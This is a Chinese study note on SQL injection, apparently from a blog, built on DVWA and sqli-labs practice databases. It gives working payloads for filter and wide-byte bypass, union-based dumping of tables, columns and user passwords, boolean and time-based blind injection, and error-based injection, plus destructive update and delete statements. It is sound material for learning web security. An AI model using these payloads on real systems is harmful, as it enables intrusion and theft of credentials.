网络安全 (四 SQL注入)

空格替换符:%a0(不间断空格???) %09 %0c %0b %0a %20
and 替换符 %26
修改数据库的内容:update admin set password=‘123456’ where username=‘carcer’
删除 delete from admin where username=‘admin’

编码:对字符赋予一个数值,来确定这个字符在该字符集中的位置
常见字符集
ascii
GB2312
BIG5
GB18030
Unicode字符集
常见编码方式
Ascii
GB2312
Ansi
Utf-8
Unicode

%5c–>
%27–>’

Mysql是GBK编码,吃掉反斜杠
%df’---->会使得’逃逸出来.
当然也可以使用%81,%82等,大于%80就行

构造payload,进行\的转义
%e5---->使得’逃逸

存在注入:参数名,cookie 目录名 文件名 参数值 。。。


普通的注入
带入错误信息

判断注入 and 1=1 and 1=2 / .0 .1 ’ -----数字型
1’ and ‘1’='2 ------字符型

查询长度
1’ order by 2-- (–后面要保留一个空格)

显示数据的位置
1’ and 1=2 union select 1,2 – !!!!!!!!

爆出数据库主机的信息
1’ and 1=2 union select group_concat(@@hostname,0x3a,@@datadir,0x3a,@@version_compile_os),2 –

查询当前数据库信息
1’ and 1=2 union select group_concat(database(),0x3a,version(),0x3a,current_user()),2 –

查询得到数据库中的表
1’ and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’),2 –
得到当前 dvwa 数据库中两个表为 guestbook,users。

爆出 users 和 guestbook 表格中的字段
1’ and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_name=‘users’),2 –
在查询 columns 中的 users 表时,里面可能有多个数据库会有users 表重名,所以最准确的结果,条件匹配上增加table_schema=’dvwa’ ,得到结果才是最准确的。
1’ and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’),2 –

爆出表 users 和 guestbook 关键字段的内容
1’ and 1=2 union select (select group_concat(user_id,0x3a,user,0x3a,password)from dvwa.users ),2 –


盲注分为两种,及布尔类型的盲注,以及时间类型的盲注
布尔盲注的应用程序仅仅返回True以及False两种方式
时间类型的盲注则是根据页面响应时间的的长短进行的判断,
反应时间较长,则说明页面正常,而短时间,则说明页面的返回错误

COUNT(column_name)函数
select count(user) from users; 返回表中的user列的记录数
select count(*) from users; 返回表中的记录数;

返回数据中的某几行数据limit()
Limit(m,n)函数
说明:m 代表从 m+1 条记录行开始检索,n 代表取出 n 条数据。(m 可设为 0)
语法示例:
select * from 表名 limit m,n;
select user from users limit 0,1; //检索记录行 1

mid(string,start,length)函数
其中,每个参数的含义如下:
string(必需)规定要返回其中一部分的字符串。
start(必需)规定开始位置(起始值是 1)。 从第几个开始截取
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。 一次性截取几个字符
语法示例:
select user from users limit 0,1;
select mid(user,1,1) from users limit 0,1;

left(string,length)函数
截取指定长度的字符串
其中,每个参数的含义如下:
string(必需)规定要返回其中一部分的字符串。
length(可选)规定被返回字符串的前 length 长度的字符。
语法示例:
select left(user,1) from users limit 0,1;

ascii()函数
将字符转化为 ascii 码。如果是字符串,则返回的最左字符的数值。也就是第一个字符
的 ascii 值。如果字符串为空字符串。则返回 NULL,如果字符串为 NULL。 ASCII()返回数
值是从 0 到 255 随机;
语法示例:
select sbusrt(user,1,1) from users limit 0,1; 第一个字符为a
select ascii(sbustr(user,1,1)) from users limit 0,1; 转化ascii码为97


布尔型的盲注可以通过构造逻辑判断(来比较大小)进而得到数据库的内容
1’ and 1=2–+ 判断类型 (在语句中被执行了,所以存在漏洞 至少要让它产生一个正确的值,也就是要带一个1)

1’ and length(database())>1–+ 当前数据库的长度

1’ and ascii(mid(database(),m,1))>1–+ 判断数据库中字符的数值,m从1开始(判断数据库的名称)

id=1’ and length((Select table_name from information_schema.tables where
table_schema=‘security’ limit m,1))>n–+ 判断数据库中各个表的长度

id=1’and ascii(mid((Select table_name from information_schema.tables where
table_schema=‘security’ limit 0,1),m,1))>n–+ 判断数据库中,各个表的名称

id=1’ and length((Select column_name from information_schema.columns where table_name=‘users’ and table_schema='security’limit m,1))>1–+ 查看security数据库中users表中字段的个数 //没毛病

id=1’and ascii(mid((select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit n,1),m,1))>0–+ 判断users表中,各个字段的名称

//id=1’ and (select count(*) from users)>n–+ 判断users的行数

id=1’and length((select username from users limit 0,1))>3–+ 判断username的字段长度

id=1’And Ascii(substr((select username from users limit 0,1),1,1))>67–+ //截取第 1 个字符串
并转换为 ascii,最终得到准确的数据


时间型SQL盲注 (页面总是显示正常的状态,总是返回同一个页面)
一般采用基于web应用响应时间的差异,来进一步的确定是否存在SQL注入,也就是时间上的盲注

在mysql中,if()函数语法如下:
if(expr1,expr2,expr3)如果expr1为真的话,那么就执行expr2,否则的话,将会将会执行expr3
语法示例:
MariaDB [dvwa]> select user from users where user_id=1 and
1=IF(ascii(substr(database(),1,1))>1,SLEEP(5),1);
这里如果条件 ascii(substr(database(),1,1))>1 成立,则执行 sleep(5),否
则执行 1

基于此,在注入时,可以构造 if 函数,通过 sleep()延迟判断表达式正确与否。
注入语句:and 1=IF(ascii(substr(database(),1,1))>1,SLEEP(5),1)

1’ and sleep(3) and 1=2–+ 判断注入的形式
1’ and sleep(3) and 1=1–+

id=1’ and sleep(3) and ascii(substr(database(),m,1))>n–+ 枚举出当前的数据库的名称
id=1’ and if(ascii(substr(database(),m,1)) > n, sleep(3),1)–+

id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>1,sleep(3),1)–+ 枚举出当前数据库的表名

id=1’ and if(ascii(mid((select column_name from information_schema.columns where table_name=‘user’ limit 0,1),1,1))>0,sleep(3),1)–+ 爆出当前数据表的字段名

id=1’and if(ascii(substr((select username from security.users limit a,1),m,1))>0,sleep(3),1)–+ 爆出各个字段对应的数据项内容


报错注入 (从 information_schema.schemata 查询数据,因该数据库表为系统内
置,任何用户都有权限,内容记录数数量很大,可以很容易实现报错)

想要出现报错注入的话,要求数据库中的内容至少为3行

通过concat()函数进行联系,而group_concat()的话会出现错误

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) 另一种形式

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) 另一种

判断报错的注入点
union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x #

爆数据库
union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x#

爆表名
union select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables wherer table_schema=‘security’ limit 0,1)) x from information_schema.schemata group by x#

曝字段
union select count(*),concat(floor(rand(0)*2),(select concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’ limit 0,1)) x from information_schema.schemata group by x#

曝内容
select count(*),concat(floor(rand(0)*2),(select concat(user,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

猜你喜欢

转载自blog.csdn.net/Aidang/article/details/89738294